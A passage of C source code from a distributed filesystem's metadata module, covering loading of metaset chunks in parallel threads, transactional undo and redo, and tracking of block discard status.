if (mo->mo_type == MT_BLKTAG)
return (MO2BT(mo)->bt_dstatus != BDS_INP);
return true;
}
static void
pfs_metaset_free(pfs_anode_t *an, uint64_t oid)
{
/**
* In local tx, visiting the meta object directly via
* "pfs_metaset_getobject" is dangerous(risk of visiting old version).
* So here we disable the following check logic.
*/
#if 0
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
pfs_metaobj_phy_t *mo;
mo = pfs_metaset_getobject(ms, oid, NULL, NULL);
if (mo->mo_type != ms->ms_type)
printf("internal error: mo type mismatch\n");
#endif
}
/* oid is a relative object id in metaset, which starts from 0 */
static void *
pfs_metaset_get(pfs_anode_t *an, uint64_t oid, pfs_txop_t *top)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
pfs_metaobj_phy_t *mo;
mo = pfs_metaset_getobject(ms, oid, top, NULL);
return mo;
}
static int
pfs_metaset_undo(pfs_anode_t *an, uint64_t oid, pfs_txop_t *top)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
pfs_mount_t *mnt = ms->ms_chunk->ck_mnt;
pfs_metaobj_phy_t *mo;
int nfree_delta;
mo = pfs_metaset_getobject(ms, oid, NULL, NULL);
nfree_delta = pfs_txop_undo(top, mo);
metatypes[mo->mo_type].mt_undo(mo->mo_number, mnt);
return nfree_delta;
}
static int
pfs_metaset_redo(pfs_anode_t *an, uint64_t oid, pfs_txop_t *top)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
pfs_mount_t *mnt = ms->ms_chunk->ck_mnt;
pfs_metaobj_phy_t *mo;
int nfree_delta;
void *sectbuf = NULL;
mo = pfs_metaset_getobject(ms, oid, NULL, §buf);
nfree_delta = pfs_txop_redo(top, mo, sectbuf);
metatypes[mo->mo_type].mt_redo(mo->mo_number, mnt);
return nfree_delta;
}
void
pfs_metaset_used_oid(pfs_anode_t *an, uint64_t oidzero, void *data)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
oidvect_t *ov = (oidvect_t *)data;
uint64_t si, oi;
uint64_t oid;
pfs_mount_t* mnt = NULL;
int holeoff = INT_MAX;
int err;
if (an->an_nchild != 0)
return; /* skip internal node */
mnt = ms->ms_chunk->ck_mnt;
for (si = 0; si < ms->ms_nsect; si++) {
for (oi = 0; oi < (1ULL << ms->ms_opps); oi++) {
if (ms->ms_objbuf[si][oi].mo_used) {
oid = (si << ms->ms_opps) + oi;
if ((ms->ms_type == MT_BLKTAG) &&
pfs_version_has_features(mnt,
PFS_FEATURE_BLKHOLE)) {
pfs_blktag_phy_t *bt =
MO2BT(&ms->ms_objbuf[si][oi]);
holeoff = bt->bt_holelen > 0 ?
bt->bt_holeoff : INT_MAX;
}
err = oidvect_push(ov, oid, holeoff);
PFS_ASSERT(err == 0);
}
}
}
}
static void
pfs_metaset_init_anode(pfs_metaset *ms, uint64_t ckno)
{
uint64_t si, oi;
int next = -1;
pfs_anode_t *an;
an = &ms->ms_anode;
memset(an, 0, sizeof(*an));
an->an_host = ms;
an->an_allocfunc = pfs_metaset_alloc;
an->an_freefunc = pfs_metaset_free;
an->an_getfunc = pfs_metaset_get;
an->an_undofunc = pfs_metaset_undo;
an->an_redofunc = pfs_metaset_redo;
an->an_id = ckno;
an->an_shift = ms->ms_opps + ffs(roundup_power2(ms->ms_nsect)) - 1;
memset(&an->an_free_bmp, 0, sizeof(an->an_free_bmp));
for (si = 0; si < ms->ms_nsect; si++) {
for (oi = 0; oi < (1ULL << ms->ms_opps); oi++) {
an->an_nall++;
if (ms->ms_objbuf[si][oi].mo_used == 0) {
pfs_anode_nfree_inc(an,
(si << ms->ms_opps) + oi, 1);
/* save the val for the first free blktag */
if (next < 0)
next = (si << ms->ms_opps) + oi;
}
}
}
if (next >= 0)
an->an_next = next;
}
#if CHECK_META
static void
metaset_check_nfree(pfs_anode_t *an, void *data)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
uint64_t si, oi;
int nfree;
nfree = 0;
for (si = 0; si < ms->ms_nsect; si++) {
for (oi = 0; oi < (1ULL << ms->ms_opps); oi++) {
if (ms->ms_objbuf[si][oi].mo_used == 0)
nfree++;
}
}
PFS_ASSERT(nfree == an->an_nfree);
*(int *)data += nfree;
}
#endif // CHECK_META
static void
pfs_metaset_check_crc(pfs_metaset_t *ms)
{
int i;
for (i = 0; i < (int)ms->ms_nsect; i++)
pfs_metaobj_check_crc_buf(ms->ms_objbuf[i], 1 << ms->ms_opps);
}
static int
pfs_metaset_bd_build_index(pfs_anode_t *an, void *data)
{
pfs_mount_t *mnt = (pfs_mount_t *)data;
pfs_metaset_t *ms;
pfs_metaobj_phy_t *mo;
uint64_t si, oi;
uint32_t status;
if (an->an_nchild)
return 0;
ms = (pfs_metaset_t *)an->an_host;
for (si = 0; si < ms->ms_nsect; si++) {
for (oi = 0; oi < (1ULL << ms->ms_opps); oi++) {
mo = &ms->ms_objbuf[si][oi];
if (mo->mo_used)
continue;
status = MO2BT(mo)->bt_dstatus;
switch (status) {
case BDS_READY:
case BDS_INP:
pfs_bd_add(mnt, status, mo->mo_number);
break;
case BDS_NONE:
break;
default:
pfs_etrace("blktag %llu has bad status %u",
mo->mo_number, status);
PFS_ASSERT("blktag bad status" == NULL);
break;
}
}
}
return 0;
}
static void
pfs_metaset_bd_select(pfs_anode_t *an, uint64_t firstoid, void *data)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
discard_args_t *dargs = (discard_args_t *)data;
pfs_metaobj_phy_t *mo;
uint64_t si, oi;
tnode_t *node;
if (an->an_nchild != 0)
return; /* skip internal node */
for (si = 0; si < ms->ms_nsect; si++) {
for (oi = 0; oi < (1ULL << ms->ms_opps); oi++) {
mo = &ms->ms_objbuf[si][oi];
PFS_ASSERT(mo->mo_type == MT_BLKTAG);
if (mo->mo_used)
continue;
/*
* If '--all' isn't set, then skip blk whose dstatus
* is BDS_NONE.
*/
if (!dargs->d_all && MO2BT(mo)->bt_dstatus == BDS_NONE)
continue;
node = tsearch((tkey_t *)mo->mo_number, &dargs->d_bdroot,
pfs_bd_compare);
PFS_ASSERT(node != NULL);
dargs->d_nblk++;
}
}
}
static void
pfs_metaset_visit(pfs_anode_t *an, uint64_t oid, void *data)
{
metaset_visit_t *msv = (metaset_visit_t *)data;
pfs_metaset_t *ms;
pfs_metaobj_phy_t *mo;
uint64_t si, oi;
if (an->an_nchild != 0)
return; /* skip internal node */
ms = (pfs_metaset_t *)an->an_host;
switch (msv->msv_type) {
case VISIT_ONE:
mo = pfs_metaset_getobject(ms, oid, NULL, NULL);
if (mo == NULL)
return;
(*msv->msv_func)(msv->msv_data, mo);
break;
case VISIT_ALL:
for (si = 0; si < ms->ms_nsect; si++) {
for (oi = 0; oi < (1ULL << ms->ms_opps); oi++) {
mo = &ms->ms_objbuf[si][oi];
(*msv->msv_func)(msv->msv_data, mo);
}
}
break;
default:
PFS_ASSERT("unknown traverse type" == NULL);
break;
}
}
/*
* metset_load:
*
* Load the disk content of a metaset into memory as a seperate copy.
* The in-memory copy will act as an allocation node.
*/
static int
pfs_meta_load_set(pfs_mount_t *mnt, pfs_chunk_t *ck, int mtype)
{
int i, err = 0, err1 = 0;
pfs_chunk_phy_t *phyck = ck->ck_phyck;
uint64_t sectsize = phyck->ck_sectsize;
pfs_metaset_t *ms = &ck->ck_metaset[mtype];
pfs_metaset_phy_t *physet = &phyck->ck_physet[mtype];
uint64_t bda;
ssize_t buflen, rsum, rlen;
char *bufptr;
ms->ms_type = mtype;
ms->ms_sectbda = physet->ms_sectbda;
ms->ms_nsect = physet->ms_nsect;
ms->ms_objsize = physet->ms_objsize;
ms->ms_opps = ffs(ck->ck_sectsize / ms->ms_objsize) - 1;
PFS_ASSERT((ms->ms_objsize << ms->ms_opps) == ck->ck_sectsize);
ms->ms_objbuf = (pfs_metaobj_phy_t **)pfs_mem_malloc(
ms->ms_nsect * sizeof(*ms->ms_objbuf), M_OBJBUFV);
if (ms->ms_objbuf == NULL)
ERR_RETVAL(ENOMEM);
memset(ms->ms_objbuf, 0, ms->ms_nsect * sizeof(*ms->ms_objbuf));
/*
* alloc consecutive memory for meta sectors and
* let ms->ms_objbuf[0] record it.
*/
PFS_ASSERT(sectsize % sizeof(pfs_metaobj_phy_t) == 0);
buflen = ms->ms_nsect * sectsize;
bufptr = (char *)pfs_mem_malloc(buflen, M_METASET);
PFS_VERIFY(bufptr != NULL);
/* set meta sectors pointers */
for (i = 0; i < (int)ms->ms_nsect; i++) {
ms->ms_objbuf[i] = (pfs_metaobj_phy_t *)(bufptr + i * sectsize);
}
/*
* issue nowait I/Os which are 4KB aligned to load
* meta sectors.
* Make sure that each I/O is in the range of one
* fragment.
*/
err = 0;
bda = ms->ms_sectbda;
for (rsum = 0; rsum < buflen; rsum += rlen, bda += rlen) {
rlen = mnt->mnt_fragsize - (bda % mnt->mnt_fragsize);
rlen = MIN(rlen, buflen - rsum);
err = pfsdev_pread_flags(mnt->mnt_ioch_desc, bufptr + rsum,
rlen, bda, IO_NOWAIT);
if (err < 0)
break;
}
err1 = pfsdev_wait_io(mnt->mnt_ioch_desc);
ERR_UPDATE(err, err1);
return err;
}
void
pfs_meta_check_chunk(const pfs_chunk_phy_t *phyck)
{
bool mismatch = false;
/*
* Check phyck->checksum
* Old version of meta doesn't have checksum which value is zero,
* so we should skip this case for compatibility.
*/
if (phyck->ck_checksum == 0) {
pfs_itrace("pfs chunk %llu checksum is zero, it maybe an old "
"version, skip checking it\n",
(unsigned long long)phyck->ck_number);
} else {
if (phyck->ck_checksum != crc32c_compute(phyck, sizeof(*phyck),
offsetof(struct pfs_chunk_phy, ck_checksum))) {
pfs_etrace("pfs chunk checksum %u is invalid\n",
phyck->ck_checksum);
mismatch = true;
}
}
if (!chunk_magic_valid(phyck->ck_number, phyck->ck_magic)) {
pfs_etrace("pfs magic mismatch %#llx vs %#llx\n",
(unsigned long long)phyck->ck_magic,
(unsigned long long)PFS_CHUNK_MAGIC);
mismatch = true;
}
if (phyck->ck_chunksize != PBD_CHUNK_SIZE) {
pfs_etrace("pfs chunk size mismatch %#llx vs %#llx\n",
(unsigned long long)phyck->ck_chunksize,
(unsigned long long)PBD_CHUNK_SIZE);
mismatch = true;
}
if (phyck->ck_sectsize != PBD_SECTOR_SIZE) {
pfs_etrace("pfs sector size mismatch %#llx vs %#llx\n",
(unsigned long long)phyck->ck_sectsize,
(unsigned long long)PBD_SECTOR_SIZE);
mismatch = true;
}
if (mismatch) {
pfs_etrace("pfs mismatch occurs in chunk %u."
" Make sure mkfs has run!\n", phyck->ck_number);
exit(EIO);
}
}
static int
pfs_meta_load_chunk(pfs_mount_t *mnt, uint32_t ckid)
{
int i, err;
pfs_chunk_t *ck;
pfs_metaset_t *ms;
pfs_chunk_phy_t *phyck;
PFS_ASSERT(mnt->mnt_nchunk >= 0 && ckid < (uint32_t)mnt->mnt_nchunk);
phyck = (pfs_chunk_phy_t *)pfs_mem_malloc(PBD_SECTOR_SIZE, M_SECTOR);
if (phyck == NULL)
ERR_RETVAL(ENOMEM);
err = pfsdev_pread(mnt->mnt_ioch_desc, phyck, PBD_SECTOR_SIZE,
ckid * PBD_CHUNK_SIZE);
if (err < 0)
ERR_GOTO(EIO, out);
pfs_meta_check_chunk(phyck);
PFS_ASSERT(phyck->ck_number == ckid);
ck = (pfs_chunk_t *)pfs_mem_malloc(sizeof(*ck), M_CHUNK);
if (ck == NULL)
ERR_GOTO(ENOMEM, out);
ck->ck_mnt = mnt;
ck->ck_phyck = phyck;
ck->ck_number = phyck->ck_number;
ck->ck_sectsize = phyck->ck_sectsize;
mnt->mnt_chunkv[ckid] = ck;
for (i = 0; i < MT_NTYPE; i++) {
if (i == MT_NONE)
continue;
ms = &ck->ck_metaset[i];
ms->ms_chunk = ck;
err = pfs_meta_load_set(mnt, ck, i);
if (err < 0)
return err;
pfs_metaset_check_crc(ms);
pfs_metaset_init_anode(ms, ck->ck_number);
}
return 0;
out:
pfs_mem_free(phyck, M_SECTOR);
return err;
}
int
pfs_meta_list_insert(pfs_mount_t *mnt, pfs_metaobj_phy_t *headmo,
pfs_metaobj_phy_t *mo)
{
int err;
pfs_metaobj_phy_t *tailmo;
pfs_txop_t *top = NULL;
pfs_tx_t *tx = pfs_tls_get_tx();
PFS_ASSERT(headmo->mo_type == MT_INODE);
if (headmo->mo_head == 0) {
headmo->mo_head = mo->mo_number;
} else {
err = pfs_tx_new_op(tx, top);
if (err < 0)
return err;
tailmo = pfs_meta_get(mnt, mo->mo_type, headmo->mo_tail, top,
MGF_CHECKVALID);
mo->mo_prev = tailmo->mo_number;
tailmo->mo_next = mo->mo_number;
pfs_tx_done_op(tx, top);
}
headmo->mo_tail = mo->mo_number;
return 0;
}
int
pfs_meta_list_delete(pfs_mount_t *mnt, pfs_metaobj_phy_t *headmo,
pfs_metaobj_phy_t *mo)
{
int err;
pfs_metaobj_phy_t *prevmo, *nextmo;
pfs_txop_t *top = NULL;
pfs_tx_t *tx = pfs_tls_get_tx();
PFS_ASSERT(headmo->mo_type == MT_INODE);
/* Free the entry and unlink it from the entry chain. */
if (mo->mo_prev) {
err = pfs_tx_new_op(tx, top);
if (err < 0)
return err;
prevmo = pfs_meta_get(mnt, mo->mo_type, mo->mo_prev, top,
MGF_CHECKVALID);
prevmo->mo_next = mo->mo_next;
pfs_tx_done_op(tx, top);
} else {
headmo->mo_head = mo->mo_next;
}
if (mo->mo_next) {
err = pfs_tx_new_op(tx, top);
if (err < 0)
return err;
nextmo = pfs_meta_get(mnt, mo->mo_type, mo->mo_next, top,
MGF_CHECKVALID);
nextmo->mo_prev = mo->mo_prev;
pfs_tx_done_op(tx, top);
} else {
headmo->mo_tail = mo->mo_prev;
}
mo->mo_prev = 0; /* clear previous structure info */
mo->mo_next = 0;
return 0;
}
static void
pfs_meta_finish_set(pfs_metaset_t *ms)
{
if (ms->ms_objbuf == NULL)
return;
if (ms->ms_objbuf[0]) {
pfs_mem_free(ms->ms_objbuf[0], M_METASET);
ms->ms_objbuf[0] = NULL;
}
pfs_mem_free(ms->ms_objbuf, M_OBJBUFV);
ms->ms_objbuf = NULL;
}
void
pfs_meta_finish_chunk(pfs_chunk_t *ck)
{
int i;
for (i = 0; i < MT_NTYPE; i++)
pfs_meta_finish_set(&ck->ck_metaset[i]);
pfs_mem_free(ck->ck_phyck, M_SECTOR);
pfs_mem_free(ck, M_CHUNK);
return;
}
/*
* All chunks are divided into several load_tasks in balance.
* Every task loads superblocks of chunks in [lckid, rckid).
* When reading metasets in superblock, all I/Os are issued
* in asynchronous mode. I/O's length is 16KB and its block
* device address is 4KB aligned.
*/
typedef struct load_task {
pthread_t t_thrid;
pfs_mount_t *t_mnt;
int32_t t_lckid;
int32_t t_rckid;
int t_err;
} load_task_t;
static void *
pfs_meta_loadtask_run(void *arg)
{
int err = 0;
load_task_t *task = (load_task_t *)arg;
int32_t ckid, ndone;
struct timeval start, end, delta;
err = gettimeofday(&start, NULL);
PFS_VERIFY(err == 0);
ndone = 0;
for (ckid = task->t_lckid; ckid < task->t_rckid; ckid++) {
err = pfs_meta_load_chunk(task->t_mnt, ckid);
if (err < 0)
break;
ndone++;
}
task->t_err = err;
err = gettimeofday(&end, NULL);
PFS_VERIFY(err == 0);
timersub(&end, &start, &delta);
pfs_itrace("load task [%d, %d) finished, loaded %d chunks, err=%d,"
" time=(%lds %ldus)\n", task->t_lckid, task->t_rckid, ndone,
task->t_err, delta.tv_sec, delta.tv_usec);
return NULL;
}
static void
pfs_meta_loadtask_start(load_task_t *task, pfs_mount_t *mnt, uint32_t startckid,
int nck)
{
int rv;
task->t_err = -EINVAL;
task->t_thrid = 0;
task->t_mnt = mnt;
task->t_lckid = startckid;
task->t_rckid = startckid + nck;
rv = pthread_create(&task->t_thrid, NULL,
pfs_meta_loadtask_run, (void *)task);
PFS_VERIFY(rv == 0);
}
static int
pfs_meta_loadtask_wait(load_task_t *task)
{
int rv;
PFS_ASSERT(task->t_thrid > 0);
rv = pthread_join(task->t_thrid, NULL);
PFS_VERIFY(rv == 0);
return task->t_err;
}
static int
pfs_meta_load_chunks_parallel(pfs_mount_t *mnt, uint32_t oldnck,
uint32_t newnck)
{
int64_t nthrd = loadthread_count;
int err, err1;
int32_t nstep, nresd, nck;
int32_t i, ckid;
load_task_t taskv[MAX_NTHRD];
PFS_ASSERT(oldnck < newnck);
nthrd = MAX(nthrd, MIN_NTHRD);
nthrd = MIN(nthrd, MAX_NTHRD);
nthrd = MIN(nthrd, newnck - oldnck);
pfs_itrace("load %u chunks by %d threads\n", newnck - oldnck, nthrd);
/*
* Every task in [0, nthrd) loads nstep chunk at least.
* While task in [0, nresd) will get one more.
*/
nstep = (newnck - oldnck) / nthrd;
nresd = (newnck - oldnck) % nthrd;
ckid = oldnck;
for (i = 0; i < nthrd; i++) {
PFS_ASSERT(i < MAX_NTHRD);
nck = (i < nresd) ? (nstep + 1) : nstep;
pfs_meta_loadtask_start(&taskv[i], mnt, ckid, nck);
ckid += nck;
}
/* wait all load workers done */
err = 0;
for (i = 0; i < nthrd; i++) {
err1 = pfs_meta_loadtask_wait(&taskv[i]);
ERR_UPDATE(err, err1);
}
return err;
}
int
pfs_meta_load_all_chunks(pfs_mount_t *mnt)
{
int err;
uint32_t i, oldnchunk, nchunk;
char buf[PBD_SECTOR_SIZE];
pfs_chunk_phy_t *phyck = (pfs_chunk_phy_t *)buf;
pfs_chunk_t **newchunkv;
/* read first chunk */
err = pfsdev_pread(mnt->mnt_ioch_desc, buf, PBD_SECTOR_SIZE, 0);
if (err < 0) {
pfs_etrace("Get first chunk header failed, err=%d\n", err);
return err;
}
pfs_meta_check_chunk(phyck);
mnt->mnt_blksize = phyck->ck_blksize;
mnt->mnt_sectsize = phyck->ck_sectsize;
mnt->mnt_fragsize = PFS_FRAG_SIZE;
nchunk = phyck->ck_nchunk;
if ((uint32_t)mnt->mnt_nchunk == nchunk) {
pfs_etrace("nchunk doesn't change, its value is %d\n",
mnt->mnt_nchunk);
return 0;
} else if ((uint32_t)mnt->mnt_nchunk > nchunk) {
pfs_etrace("NOT support shrink chunk from %d to %u\n",
mnt->mnt_nchunk, nchunk);
PFS_ASSERT("shrink is not support" == NULL);
exit(EINVAL);
}
/* realloc mnt_chunkv */
oldnchunk = mnt->mnt_nchunk;
PFS_ASSERT((oldnchunk == 0 && mnt->mnt_chunkv == NULL) ||
(oldnchunk != 0 && mnt->mnt_chunkv != NULL));
newchunkv = (pfs_chunk_t **)pfs_mem_realloc(mnt->mnt_chunkv,
nchunk * sizeof(pfs_chunk_t *), M_CHUNKV);
if (newchunkv == NULL)
ERR_RETVAL(ENOMEM);
/* load extra chunks */
pfs_itrace("try to load chunks in [%u, %u)\n", oldnchunk, nchunk);
mnt->mnt_nchunk = nchunk;
mnt->mnt_chunkv = newchunkv;
for (i = oldnchunk; i < nchunk; i++) {
mnt->mnt_chunkv[i] = NULL;
}
err = pfs_meta_load_chunks_parallel(mnt, oldnchunk, nchunk);
mnt->mnt_disksize = nchunk * PBD_CHUNK_SIZE;
return err;
}
pfs_metaobj_phy_t *
pfs_meta_alloc(pfs_mount_t *mnt, int mtype, pfs_txop_t *top)
{
pfs_metaobj_phy_t *mo;
pfs_meta_lock(mnt);
mo = metatypes[mtype].mt_alloc(mnt, mtype, top);
return mo;
}
void
pfs_meta_free(pfs_mount_t *mnt, int mtype, pfs_metaobj_phy_t *mo,
pfs_txop_t *top)
{
pfs_meta_lock(mnt);
metatypes[mtype].mt_free(mnt, mtype, mo, top);
}
pfs_metaobj_phy_t *
pfs_meta_get(pfs_mount_t *mnt, int mtype, uint64_t objno, pfs_txop_t *top,
int flags)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
void *obj;
pfs_metaobj_phy_t *mo;
pfs_meta_lock(mnt);
obj = pfs_anode_get(anroot, objno, top);
mo = (pfs_metaobj_phy_t *)obj;
PFS_ASSERT(mo != NULL);
/*
* Any member visiting of mo here will lead to hot cpu cache missing
* if we try to get large number of mo.
*/
return mo;
}
int
pfs_meta_undo(pfs_mount_t *mnt, int mtype, uint64_t objno, pfs_txop_t *top)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
pfs_meta_lock(mnt);
/* pfs_anode_set() returns delta of an_nfree, it maybe negative */
(void)pfs_anode_undo(anroot, objno, top);
#if CHECK_META
(void)pfs_anode_walk(anroot, metaset_check_nfree, &nfree);
#endif
return 0;
}
int
pfs_meta_redo(pfs_mount_t *mnt, int mtype, uint64_t objno, pfs_txop_t *top)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
pfs_meta_lock(mnt);
/* pfs_anode_set() returns delta of an_nfree, it maybe negative */
(void)pfs_anode_redo(anroot, objno, top);
#if CHECK_META
(void)pfs_anode_walk(anroot, metaset_check_nfree, &nfree);
#endif
return 0;
}
void
pfs_meta_redo_fini(pfs_tx* tx)
{
int i = MT_NONE;
for (++i; i < MT_NTYPE; ++i)
metatypes[i].mt_redo_fini(tx);
}
void
pfs_metaobj_dump(const pfs_metaobj_phy_t *mo, int level)
{
if (mo->mo_type > MT_NONE && mo->mo_type < MT_NTYPE)
DUMP_VALUE("%s", level, mo_type, metatypes[mo->mo_type].mt_name);
else
DUMP_FIELD("%d", level, mo, mo_type);
DUMP_FIELD("%lu", level, mo, mo_number);
DUMP_FIELD("%u", level, mo, mo_checksum);
DUMP_FIELD("%d", level, mo, mo_used);
DUMP_FIELD("%lu", level, mo, mo_version);
switch (mo->mo_type) {
case MT_BLKTAG: {
pfs_blktag_phy_t *bt = MO2BT(mo);
DUMP_FIELD("%lu", level, mo, mo_next);
DUMP_FIELD("%lu", level, mo, mo_prev);
DUMP_FIELD("%lu", level+1, bt, bt_ino);
DUMP_FIELD("%lu", level+1, bt, bt_blkid);
DUMP_FIELD("%u", level+1, bt, bt_dstatus);
DUMP_FIELD("%u", level+1, bt, bt_ndiscard);
DUMP_FIELD("%d", level+1, bt, bt_holelen);
DUMP_FIELD("%d", level+1, bt, bt_holeoff);
break;
}
case MT_DIRENTRY: {
pfs_direntry_phy_t *de = MO2DE(mo);
DUMP_FIELD("%lu", level, mo, mo_next);
DUMP_FIELD("%lu", level, mo, mo_prev);
// XXX: not always null-terminated
PFS_ASSERT(sizeof(de->de_name) == 64);
DUMP_FIELD("%.64s", level+1, de, de_name);
if (DE_ISEXT(de)) {
/* extended direntry */
DUMP_FIELD("%lu", level+1, de, de_headdeno);
} else {
/* head direntry or unused */
DUMP_FIELD("%ld", level+1, de, de_dirino);
DUMP_FIELD("%ld", level+1, de, de_ino);
}
DUMP_FIELD("%lu", level+1, de, de_extdeno);
break;
}
case MT_INODE: {
pfs_inode_phy_t *in = MO2IN(mo);
DUMP_FIELD("%lu", level, mo, mo_head);
DUMP_FIELD("%lu", level, mo, mo_tail);
DUMP_FIELD("%u", level+1, in, in_type);
DUMP_FIELD("%lu", level+1, in, in_deno);
DUMP_FIELD("%u", level+1, in, in_flags);
DUMP_FIELD("%u", level+1, in, in_pvtid); // use original value
DUMP_FIELD("%lu", level+1, in, in_nlink);
DUMP_FIELD("%lu", level+1, in, in_nblock);
DUMP_FIELD("%lu", level+1, in, in_size);
DUMP_FIELD("%lu", level+1, in, in_atime);
DUMP_FIELD("%lu", level+1, in, in_ctime);
DUMP_FIELD("%lu", level+1, in, in_mtime);
break;
}
}
}
void
pfs_meta_used_oid(pfs_mount_t *mnt, int type, int ckid, oidvect_t *ov)
{
pfs_anode_t *anroot = &mnt->mnt_anode[type];
uint64_t oid;
MOUNT_META_RDLOCK(mnt);
oid = MONO_MAKE((ckid << anroot->an_children[0]->an_shift), 0);
pfs_anode_visit(anroot, oid, pfs_metaset_used_oid, ov);
MOUNT_META_UNLOCK(mnt);
}
int
pfs_meta_info(pfs_mount_t *mnt, int depth, pfs_printer_t *printer)
{
int i, err, err1;
MOUNT_META_RDLOCK(mnt);
err = 0;
for (i = MT_NONE; i < MT_NTYPE; i++) {
if (i == MT_NONE)
continue;
err1 = pfs_anode_dump(&mnt->mnt_anode[i], i, depth, 0, printer);
ERR_UPDATE(err, err1);
}
MOUNT_META_UNLOCK(mnt);
return err;
}
bool
pfs_meta_bd_mark_inp(pfs_mount_t *mnt, int64_t btno)
{
int err;
pfs_tx_t *tx;
pfs_txop_t *bttop;
pfs_blktag_phy_t *bt;
bool marked = false;
tx = pfs_tls_get_tx();
err = pfs_tx_new_op(tx, bttop);
PFS_ASSERT(err == 0);
(void)err;
bt = pfs_meta_get_blktag_flags(mnt, btno, bttop, 0);
PFS_ASSERT(bt != NULL);
/*
* This func just tries to mark blk discarding,
* because blktag's flags maybe modified to any
* status by others.
*
* If current blk is in both local bdroot and global
* ready/inp tree, it should be not marked and removed
* from local bdroot.
*/
switch (bt->bt_dstatus) {
case BDS_READY:
if (pfs_bd_find(mnt, bt->bt_dstatus, btno) < 0) {
PFS_ASSERT(bt->bt_ndiscard == 0);
bt->bt_dstatus = BDS_INP;
bt->bt_ndiscard++;
marked = true;
}
break;
case BDS_INP:
if (pfs_bd_find(mnt, bt->bt_dstatus, btno) < 0) {
PFS_ASSERT(bt->bt_ndiscard > 0);
bt->bt_ndiscard++; // force into tx
marked = true;
}
break;
case BDS_NONE:
pfs_itrace("blk %llu has dstatus as %d when marking"
" discarding\n", btno, bt->bt_dstatus);
break;
default:
pfs_etrace("blk %llu has bad status %d when marking"
" discarding\n", btno, bt->bt_dstatus);
PFS_ASSERT("blk bad status" == NULL);
break;
}
#ifdef PFSDEBUG
if (marked && pfs_inited(mnt))
pfs_itrace("blk %lu status mark -> %d (ndiscard:%d)\n",
btno, bt->bt_dstatus, bt->bt_ndiscard);
#endif
pfs_tx_done_op(tx, bttop);
return marked;
}
bool
pfs_meta_bd_mark_done(pfs_mount_t *mnt, int64_t btno)
{
int err;
pfs_tx_t *tx;
pfs_txop_t *bttop;
pfs_blktag_phy_t *bt;
bool marked = false;
tx = pfs_tls_get_tx();
err = pfs_tx_new_op(tx, bttop);
PFS_ASSERT(err == 0);
bt = pfs_meta_get_blktag_flags(mnt, btno, bttop, 0);
PFS_ASSERT(bt != NULL);
switch (bt->bt_dstatus) {
case BDS_INP:
if (pfs_bd_find(mnt, bt->bt_dstatus, btno) < 0) {
PFS_ASSERT(bt->bt_ndiscard > 0);
bt->bt_dstatus = BDS_NONE;
marked = true;
}
break;
case BDS_READY:
case BDS_NONE:
pfs_itrace("blk %llu has dstatus as %d when marking"
" discarded\n", btno, bt->bt_dstatus);
break;
default:
pfs_etrace("blk %llu has bad status %d when marking"
" discarded\n", btno, bt->bt_dstatus);
PFS_ASSERT("blk bad status" == NULL);
break;
}
#ifdef PFSDEBUG
if (marked && pfs_inited(mnt))
pfs_itrace("blk %lu status mark -> %d (ndiscard:%d)\n",
btno, bt->bt_dstatus, bt->bt_ndiscard);
#endif
pfs_tx_done_op(tx, bttop);
return marked;
}
static void
pfs_meta_bd_change_index(pfs_mount_t *mnt, pfs_blktag_phy_t *bt)
{
int64_t btno = MONO_CURR(bt);
switch (bt->bt_dstatus) {
case BDS_READY:
pfs_bd_add(mnt, bt->bt_dstatus, btno);
pfs_bd_del(mnt, BDS_INP, btno);
break;
case BDS_INP:
pfs_bd_add(mnt, bt->bt_dstatus, btno);
pfs_bd_del(mnt, BDS_READY, btno);
break;
case BDS_NONE:
pfs_bd_del(mnt, BDS_READY, btno);
pfs_bd_del(mnt, BDS_INP, btno);
break;
default:
pfs_etrace("blk %llu has bad status %d when changing"
" index\n", btno, bt->bt_dstatus);
PFS_ASSERT("blk bad status" == NULL);
break;
}
#ifdef PFSDEBUG
if (pfs_inited(mnt))
pfs_itrace("blk %lu status change -> %d (ndiscard:%d)\n",
btno, bt->bt_dstatus, bt->bt_ndiscard);
#endif
}
void
pfs_meta_bd_build_index(pfs_mount_t *mnt)
{
pfs_anode_t *anroot = &mnt->mnt_anode[MT_BLKTAG];
MOUNT_META_WRLOCK(mnt);
pfs_anode_walk(anroot, pfs_metaset_bd_build_index, mnt);
MOUNT_META_UNLOCK(mnt);
}
void
pfs_meta_bd_select(pfs_mount_t *mnt, int64_t ckid, void *data)
{
pfs_anode_t *anroot = &mnt->mnt_anode[MT_BLKTAG];
uint64_t oid;
MOUNT_META_RDLOCK(mnt);
oid = MONO_MAKE((ckid << anroot->an_children[0]->an_shift), 0);
pfs_anode_visit(anroot, oid, pfs_metaset_bd_select, data);
MOUNT_META_UNLOCK(mnt);
}
void
pfs_meta_visit(pfs_mount_t *mnt, int type, int ckid, int objid,
pfs_meta_visitfn_t *visitfunc, void *visitdata)
{
pfs_anode_t *anroot;
uint64_t oid;
metaset_visit_t msv;
PFS_ASSERT(type > MT_NONE && type < MT_NTYPE);
anroot = &mnt->mnt_anode[type];
pfs_meta_lock(mnt);
if (objid < 0) {
oid = MONO_MAKE((ckid << anroot->an_children[0]->an_shift), 0);
msv.msv_type = VISIT_ALL;
msv.msv_oid = (int64_t)-1;
} else {
oid = MONO_MAKE((ckid << anroot->an_children[0]->an_shift), objid);
msv.msv_type = VISIT_ONE;
msv.msv_oid = (int64_t)objid;
}
msv.msv_func = visitfunc;
msv.msv_data = visitdata;
pfs_anode_visit(anroot, oid, pfs_metaset_visit, &msv);
pfs_meta_unlock(mnt);
}
#define FIELD_CP_DEF(type, psrc, pdest) \
const type *src = (const type *)psrc; \
type *dest = (type *)pdest
/*
* FIELD_CP_INT is atomic, so lock is not needed if the reader does not pay
* attention to the version it reads while read/write is executed parallelly.
*/
#define FIELD_CP_INT(field) \
__atomic_store_n(&dest->field, src->field, __ATOMIC_RELAXED)
/*
* FIELD_CP_STR is not atomic, so lock is needed.
*/
#define FIELD_CP_STR(field) \
